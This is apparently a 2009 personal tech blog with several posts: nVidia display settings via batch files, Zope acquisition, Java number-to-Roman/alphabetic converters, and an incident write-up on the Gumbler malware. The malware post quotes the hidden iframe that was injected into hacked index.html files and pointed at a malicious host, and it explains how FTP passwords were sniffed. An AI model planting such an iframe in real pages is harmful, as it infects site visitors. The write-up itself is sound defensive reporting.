Friday, October 2, 2009

How to change nVidia GeForce desktop settings with shortcut or hot key (or, how to substitute the now gone "Custom Color Settings")

Note for Vista/Windows 7 users: I see on the Net that nVidia changed or discontinued the "NvCpl.dll,dtcfg" API after XP. I didn't have the chance to look into it so far (no Vista around, etc.). The workaround described here is possibly for Windows XP only.

Sometimes you need to change contrast/brightness/gamma, or change other settings (rotate, resolution, refresh rate, etc.) often, or to a specific value that you tend to forget. The nVidia control panel is not very helpful in this right now, to say the least. Actually, it just become worse during time... like, earlier you had a "Custom Color Settings" under the nVidia Settings tray icon where you could immediately chose profile. (I also have a distant memory of hot keys, but I'm not sure.) In the recent ForceWare releases this feature is gone (on XP at least), which is a real pain for some. Surely you can create profiles (I'm not talking about the profiles for games here), but activating them is needlessly painful... digging through menus and confirmations, etc. I can't understand for my life why nVidia can't provide some quick way to access them (like hot keys). Anyway... what to do?

Let's say you often need to set brightness to 50%, contrast to 50%, and gamma to 1.2, all this at once (like a profile). Then create a file with bat extension (e.g. myporfile.bat) and with this content:

@echo off

rem  SET BRIGHTNESS:
rem  -125 means 0%, 0 means 50%, 125 means 100%. Integers only!
rundll32.exe NvCpl.dll,dtcfg setbrightness 1 all 0

rem  SET CONTRAST:
rem  -82 means 0%, 0 means 50%, 82 means 100%. Integers only!
rundll32.exe NvCpl.dll,dtcfg setcontrast 1 all 0

rem  SET GAMMA:
rem  Just use the same value as in the control panel.
rundll32.exe NvCpl.dll,dtcfg setgamma 1 all 1.2

Running this bat file will set up the monitor accordingly (at least here... XP, 7300GS and 7600GS). Of course, you can create more such bat files, each corresponds to a "profile". Also, there are many more commands that you could use, like rotating (e.g. rundll32.exe nvcpl.dll,dtcfg rotate 1 90, which rotates with 90 counter-clockwise) or setting resolution (e.g. rundll32.exe NvCpl.dll,dtcfg setmode 1 1280 1024 32 60, means 1024x768, 32 bit color, 60 Hz refresh rate) and so on. Google for nvcpl.dll dtcfg, and you should find the "NVCPL.DLL API Manual", that has a chapter about them.

Some random notes:

  • Just like the nVidia control panel, the above will adjust your video card, not your monitor. In principle, you should set the contrast/brightness/gamma on the monitor instead. But in reality it's not always desirable or possible. Like, most monitors have no gamma setting.

  • The above bat assumes that you adjust display #1; If you want to adjust on a secondary display (the 2nd monitor attached), use 2-s instead of the 1-s above.

  • the all in the bat meant "set all channels". You could also use red, green or blue instead.

  • The rem lines are just comments, they are ignored.

  • For those who are bad in math, an example: to set brightness to 33%, the value is ((125 * 2 / 100) * 33) - 125 = -42.5, so use -42 or -43. The formula is the same for the contrast, but there use 82 instead of 125.

For easily running the bat files there are several tricks:

  • First and most obviously, you can create shortcuts to them on the desktop or in the start menu.

  • Furthermore, shortcuts can have hot keys associated (right click, properties, and there you will find it). As far as I remember, hot keys work only if the shortcuts are in the start menu or on the desktop, and even then you possibly need to restart so explorer will re-read them.

  • A less known Windows trick: If you collect the bat-s into a folder, at least on XP, you can drag-and-drop the folder to the area just left to the notification area (the notification area is where the clock and the speaker icon used to be), and that will create a drop-down menu from which you can chose the bat to run.

  • Last not least I'm sure there are plenty of utilities available for quickly starting programs (and bat-s are programs) on various ways, like even with a remote.

Monday, August 10, 2009

"Virus" steals FTP passwords and inserts iframe-s

This is maybe the malware ("virus") called "Gumbler" or "Nine-Ball"... So, recently the Web sites of two clients started to spread "virus" with iframe-s inserted into the index.html-s. The iframes were inserted after the opening <body> tag, and pointed to places that tried to infect the visitors, something like: <iframe src="http://c5y.at:8080/ts/in.cgi?pepsi137" width=125 height=125 style="visibility: hidden"></iframe>

Looking into the FTP logs on the server I could see something logs in with some IP I don't recognize (different IP-s for each operation), and updates the existing index.html-s (actually, all files whose name contains one of the words: default, index, home) both in the top-level directory and the subdirectories of the site. So obviously, some FTP credentials (user name + password) were stolen here.

Later I found the infected computer. NOD was running on it and was up-to-date, the Windows (XP SP3) firewall was on, the Google search results weren't tampered with, etc... the malware worked silently, and according the FTP logs of the first tampering with the index.html-s it was already there for at least 10 days! How did I spot the infected computer then? Simply, I ran TCPView (free) and see that the computer sometimes connects to whatever external IP-s using SMTP protocol (via the services.exe process, but don't blame poor services.exe for that, it's an innocent process normally). That is, most certainly, it spread email spam. BTW, I also found some other odd things... like the installation of the following software has failed with some internal error (like if the installer is wrong): Malware Bites, Adoble Reader 9.1 (Hungarian), and the automatic update to Adoble Reader 8.1.3. I guess the problem of the Malware with the last two was that they fix some juicy vulnerability. But, I installed Spybot Search & Destroy without problem, which found nothing on the infected computer. Maybe that's why the malware didn't mind if I install it...

As it turned out, the malware steals FTP passwords with network sniffing a.k.a. promiscuous mode (at least among other ways, because I heard it can also read the stored passwords of well-know FTP clients). This means, it even steals the FTP user names and passwords that were used from a clean computer, if that computer was in the same Ethernet collision domain as the infected computer, and the password was actually used (i.e. the user has logged in to an FTP account) when the infected computer was on (and hence eavesdropping). In general, if you have some Ethernet hubs as opposed to Ethernet switches in your LAN, then depending on the exact network topology, possibly not only the infected computer is affected. Needless to say, the infected computer itself is always in its own collision domain, so even if you don't store the passwords in your FTP client (and you shouldn't), the malware still steals the password when you log in. The infected computer sends the stolen FTP credentials (and who knows what else it captured) to its masters, so the computer that will update the index.html-s via FTP (maybe hours, maybe days later) will be some random computer from around the world.

Anyway, for now I have put the infected PC out of order, then changed the potentially stolen FTP passwords. Next week it will be formatted + re-installed as far as I'm concerned. Yeah, I wouldn't try cleaning... it's never reliable, you never know if something remain undetected. Infected computers may start downloading additional malware applications after the initial infection, also malware has no official releases plus they often mutate so... you just never know what do you exactly have.

Also, I have double-checked if the spammer PC was indeed the FTP password stealer with a simple trap: On a public Web server I created two FTP accounts with index.html-s in it, each with different root directories and username/password. I turned all computers off in the LAN, except the infected one, plus one that I knew wasn't infected (this could be your laptop). From the clean computer I FTP-ed a bit on the first FTP account, then waited a 10 minutes so that the infected computer has time to send the username and password to his masters. Then I turned all computers on, but turned the infected one off. I FTP-ed again from the surely clean computer, this time using the second account. A few hours later the index.html in the first account was infected, and the index.html in the second account is not infected so far... So the spammer PC was indeed an FTP password sniffer, and certainly it was the only FTP password sniffer in the Ethernet collision domain.

p.s. 1: Regarding C:\Windows\System32\sqlsodbc.chm... at least certain versions of Gumbler change it, as it stores the collected credentials in it. In this infected computer it was original, according to its SHA1 (calculated with FileAlyer) plus the table here (the Hungarian sqlsodbc.chm is missing from that table, it's: SHA1 1ED7D12DEEB09C70D164E247317391FAC23BC1FA, CRC-32 808EE644). But, it was the Israeli version of sqlsodbc.chm. It had to be Hungarian, maybe English. Maybe the user has installed something benign earlier that replaced it with the Israeli version... but maybe (just a wild idea) the operators of the bot network realized that everyone checks if sqlsodbc.chm is original, so they changed the way things work and tried to replace the already changed sqlsodbc.chm with an original, but they didn't have the Hungarian one... again, this last was just a wild guess.

p.s. 2: That your computer is plugged into a switch (as opposed to into a hub) doesn't mean that a hub somewhere higher in the LAN hierarchy doesn't spoil your privacy. Like in this case, the computers of the company X were on a switch, but the switch was eventually connected to the ancient huge hub of the building, which in turn was connected to the Internet gateway. Now some computers of company Y was directly plugged into that hub (even if they didn't know that... they just plug the cable into the wall socket), so the Internet traffic of the innocent company X could be "heard" by the infected company Y computer (but not by the computers of company X). So was the FTP password of company X stolen, although all their computers were clean, and they used a switch.

p.s. 3: I don't know about stealing of POP3/IMAP (i.e., email) credentials, although it would be technically as easy as stealing the FTP credentials. Due to the "forgot my password" (so send me a new one) feature of many Web services, access to the mail accounts of (important) people can be even more useful than ever. Now of course this malware is nothing personal, it just spreads as it can, so this most certainly won't be utilized. But then, one can never be careful enough... If I were the zombie master here, I would collect the email credentials too, after all, maybe I will find something interesting later, so why not. Means, you better change your mail account passwords too, not only the FTP passwords. And whatever passwords to well-known services...

p.s. 4: I can't emphasize enough how pathetic some of the authentication methods are... sending the passwords through the network without any encryption? What were they thinking??? The moral: Do not use plain FTP. Use SFTP or SCP.

p.s. 5: They regularly (about every second day) log in and update the infected HTML-s in the trap FTP account since then. The update consists of changing the src attribute of the iframe. This is needed because the malware spreading sites (where the src points to) don't work for very long as they are quickly identified and closed.

Monday, April 20, 2009

Understanding Zope acquisition

Disclaimer: I'm not a Zope expert. Whatever I write down here is the result of some experiments, and hence may not capture the exact rules. Feel free to correct me!

These are some notices I wrote for myself when I had to fix some Zope-based site, but then, why not share it... It explains some basics and, most importantly, some not-well-documented (or rather, not-well-explained) aspects of Zope acquisition.

How it works

Acquisition (aq from now) is basically an extension of the Python language. Acquisition means inheriting object attributes from the "parent" object, which in turn possibly aq-es from its parent, and so on. This is independent of class inheritance, which is about the type (class) hierarchy. Aq isn't omnipresent; it only kicks in when you fiddle with objects which were specifically made to be aq-aware or were get from a such object. So, what's the "parent" object we inherit from? Basically (and said a bit simplified) it's the object whose attribute the current object is. So, in object a.b.c, "c" will apparently have a "foo" attribute if any of "a" or "b" or "c" has a such attribute. The attribute is first searched in "c", and if it's not there then in "b", and if it's not there either then in "a". But how does the "c" object know what its parent object is? The raw "c" object itself doesn't know that. But if "a" is aq-aware, it will return "b" wrapped (encapsulated) into another object, a so called aq wrapper, and b.c will return "c" wrapped too. So in

o = a.b.c
print o.foo
# This is actually the same as print a.b.c.foo,
# but I felt it's easier to get the point this way...

we don't just get the "foo" of the raw "c" object, but of the aq wrapper. The wrapper mostly acts like the wrapped object inside it (so you mostly won't notice that you are working with an impostor), but it modifies the attribute reading semantics to implement aq. We could depict the result of a.b.c (stored in o) as:

    a    <-- result of expression a
    ^  
    |  
{b, P}   <-- result of expression a.b
     ^ 
     | 
 {c, P}  <-- result of expression a.b.c

Legend: {} symbolizes a wrapper, and inside it the first item is the wrapped
        object, and P is the pointer to the aq parent. Lower-case letters
        are the raw (not wrapped) objects.

So as you see the objects were wired together behind the scenes. The value of o knows how it was get (a -> b -> c). Note that the aq hierarchy corresponds to the way we accessed "c", so the same object may belongs to different aq hierarchies depending on how we accessed it. With other words, the same object may behave differently (i.e., has different attributes) depending on the path we reach it. Like, if the same "c" object could be reached as u.v.w.c, the resulting object would acquire from "u", "v" and "w" (assuming at least "u" was aq-aware), yet it's the same "c" (kind of...).

Now, the tricky part... Let's say "a" has non-aq-ed (i.e., plain, direct) "x" and "foo" attributes, and that "b" has a non-aq-ed "foo" attribute too, but not "x" attribute. What does a.b.x.foo return, the "foo" of "a" or of "b"? (Note that "x" is aq-ed from "a"... a bit odd for those who didn't work with aq yet.) It will be the "foo" of "a". This rule is often referred as "containment before context". In this case, "x" is contained in "a" ("a" is the parent), hence according to the containment hierarchy we could only aq it from "a" (the only parent in this case), and thus we first search "foo" in "x" and then in "a", and there we find it. But if "a" had no "foo" attribute, then we were continue searching in the "context" too, according which the parent of "x" is "b", and hence find "foo" in "b". But how is this implemented? How is "container" VS "context" stored? Well, an aq wrapper points only to a single parent object (with its aq_parent field), there is no separate container parent and context parent fields or like. But, as the wrapped object itself is possibly an aq wrapper, we can still have two parents for some nodes in the aq hierarchy:

        a <-.   <-- result of expression a
        ^   |
        |   |
    {b, P}  |   <-- result of expression a.b
         ^  |
         |  |
{{x, P}, P} |   <-- result of expression a.b.x; It contains two parents!
     |      |
     \______/

{x, P} was created when "a" returned "x" during the evaluation of a.b.x. So internally we had an a.x expression evaluated here, whose result is of course {x, P}, with P pointing to "a". So, we have the two P-s, but what about the priorities? As you know by now, when an attribute is searched, the aq wrapper ({...} things above) first searches in the wrapped object (the first item inside the {...}-s), and only then in the parent (the second thing inside the {...}); that's why real attributes has priority over aq-ed ones. In this case, the wrapped object itself is an aq wrapper, {x, P}. So, we will search "foo" in {x, P} first, which in turn will search it in "x" first, then in the parent, "a". Only after that would it search "foo" in the 2nd P in {{x, P} P}, which is "b", but in this case it won't as we already found the attribute in "a". So this is why the true container ("a") had priority over the context ("b").

Let's see some Python code to build the above hierarchy:

from Acquisition import Implicit

class Dummy(Implicit):  # extending Implicit turns on aq
   pass

a = Dummy()
b = Dummy()
x = Dummy()
a.b = b
a.x = x
a.foo = "a's foo"
b.foo = "b's foo"

print a.b.x.foo  # says "a's foo"

a.b.x above evaluates to the wrapper graph depicted earlier. Note that the top-level variables "a", "b" and "x" will remain raw objects, not aq wrappers; wrappers appear only in the results of attribute readings. But also note that although the raw objects don't do any aq, they are still not just plain old Python objects, but aq-aware ones, as they return aq wrappers for attribute readings.

The special attributes of aq wrappers ({...})

All attributes of the wrapped objects are available, plus some extra ones, and here I will list some of those. (The examples are based on the earlier example.)

  • aq_parent: Points to the wrapped parent object, unless the parent object is the "root", in which case it's not wrapped:

    {b, P} --> a
    {{x, P}, P} --> {b, P}
    
  • aq_self: The wrapped object, which is itself maybe a wrapper:

    {b, P}} --> b
    {{x, P}, P} --> {x, P}
    
  • aq_base: The innermost wrapped object without the wrapping:

    {b, P} --> b
    {{x, P}, P} --> x
    
  • aq_inner: The innermost wrapped object with the wrapping:

    {b, P} --> {b, P}
    {{x, P}, P} --> {x, P}
    
  • aq_chain: The list of (wrapped) parents starting with the children:

    {{x, P}, P} -> [{{x, P}, P}, {b, P}, a]
    
  • __of__(self, parent): creates an aq wrapper around self, and return it:

        a
        ^
        |
    {b, P}   <-- this is the result of b.__of__(a) 
    Note that "b" is possibly not even an attribute of "a", yet aq will treat "a" as the container of "b" when we use the result of this __of__ method call.

Roman numbers in Java

Surely this has several implementations around, but... someone may still wants to copy-paste this. It only works up to 3999, as after that non-US-ASCII characters are needed. Trivial to extend it for that however... Public Domain:

private static final char[] UPPER_ROMAN_DIGITS = new char[] {
    'I', 'V',
    'X', 'L',
    'C', 'D',
    'M'
}; 

private static final char[] LOWER_ROMAN_DIGITS = new char[] {
    'i', 'v',
    'x', 'l',
    'c', 'd',
    'm'
}; 

/**
 * Converts a number to upper-case Roman number, like XVI; up to 3999.
 * @throws IllegalArgumentException if the number is not in the [1..3999]
 *    range.
 */
public static String toUpperRomanNumber(int n) {
    return toRomanNumber(n, UPPER_ROMAN_DIGITS);
}

/**
 * Converts a number to lower-case Roman number, like xvi; up to 3999.
 * @throws IllegalArgumentException if the number is not in the [1..3999]
 *    range.
 */
public static String toLowerRomanNumber(int n) {
    return toRomanNumber(n, LOWER_ROMAN_DIGITS);
}

private static String toRomanNumber(int n, char[] romanDigits) {
    // We fetch the decimal digits from right to left.
    // The res buffer will contain the Roman number *backwards*, and thus it
    // also will contain the Roman "digits" backwards, like 7 will be "IIV".
    // At the very end the buffer is reversed.
    
    if (n > 3999) {
        throw new IllegalArgumentException("toRomanNumber only supports "
                + "numbers in the [1..3999] range, but the number was "
                + n + ".");
    }
    
    StringBuilder res = new StringBuilder();
    int base = 0;
    while (n != 0) {
        int digit = n % 10;
        n /= 10;
        if (digit != 0) {
            switch (digit) {
            case 3:
                res.append(romanDigits[base]);
                // falls through
            case 2:
                res.append(romanDigits[base]);
                // falls through
            case 1:
                res.append(romanDigits[base]);
                break;
                
            case 4:
                res.append(romanDigits[base + 1])
                        .append(romanDigits[base]);
                break;
                
            case 8:
                res.append(romanDigits[base]);
                // falls through
            case 7:
                res.append(romanDigits[base]);
                // falls through
            case 6:
                res.append(romanDigits[base]);
                // falls through
            case 5:
                res.append(romanDigits[base + 1]);
                break;
                
            case 9: 
                res.append(romanDigits[base + 2]);
                res.append(romanDigits[base]);
                break;
                
            default:
                throw new BugException("Unexpected branch");
            }
        }
        base += 2;
    }
    return res.reverse().toString();
}

Latin numbers a.k.a. alpha numbers a.k.a. alphabetical Excel column naming/numbering in Java

There is that kind of odd "number-system" or number formatting that Excel uses for the columns. I believe this is also used for "numbering" appendices in books. At the first glance you will think it's just a 26-based number system, but it's not, as this system has no 0 digit, which means you will miserably fail with the good-old division-and-modulo-with-the-base trick. Anyway, here it is, methods for converting int to Latin number, without upper limit. Watch out, in this implementation A is 1, not 0. Public Domain:

/**
 * Converts a number to upper-case Latin (alpha) number, like
 * A, B, C, and so on, then Z, AA, AB, etc. No upper limit.
 */
public static String toUpperLatinNumber(int n) {
    return toLatinNumber(n, 'A');
}

/**
 * Converts a number to lower-case Latin (alpha) number, like
 * a, b, c, and so on, then z, aa, ab, etc. No upper limit.
 */
public static String toLowerLatinNumber(int n) {
    return toLatinNumber(n, 'a');
}

private static String toLatinNumber(final int n, char oneDigit) {
    if (n < 1) {
        throw new IllegalArgumentException("Can't convert 0 or negative "
                + "numbers to latin-number: " + n);
    }
    
    // First find out how many "digits" will we need. We start from A, then
    // try AA, then AAA, etc. (Note that the smallest digit is "A", which is
    // 1, not 0. Hence this isn't like a usual 26-based number-system):
    int reached = 1;
    int weight = 1;
    while (true) {
        int nextWeight = weight * 26;
        int nextReached = reached + nextWeight;
        if (nextReached <= n) {
            // So we will have one more digit
            weight = nextWeight;
            reached = nextReached;
        } else {
            // No more digits
            break;
        }
    }
    
    // Increase the digits of the place values until we get as close
    // to n as possible (but don't step over it).
    StringBuilder sb = new StringBuilder();
    while (weight != 0) {
        // digitIncrease: how many we increase the digit which is already 1
        final int digitIncrease = (n - reached) / weight;
        sb.append((char) (oneDigit + digitIncrease));
        reached += digitIncrease * weight;
        
        weight /= 26;
    }
    
    return sb.toString();
}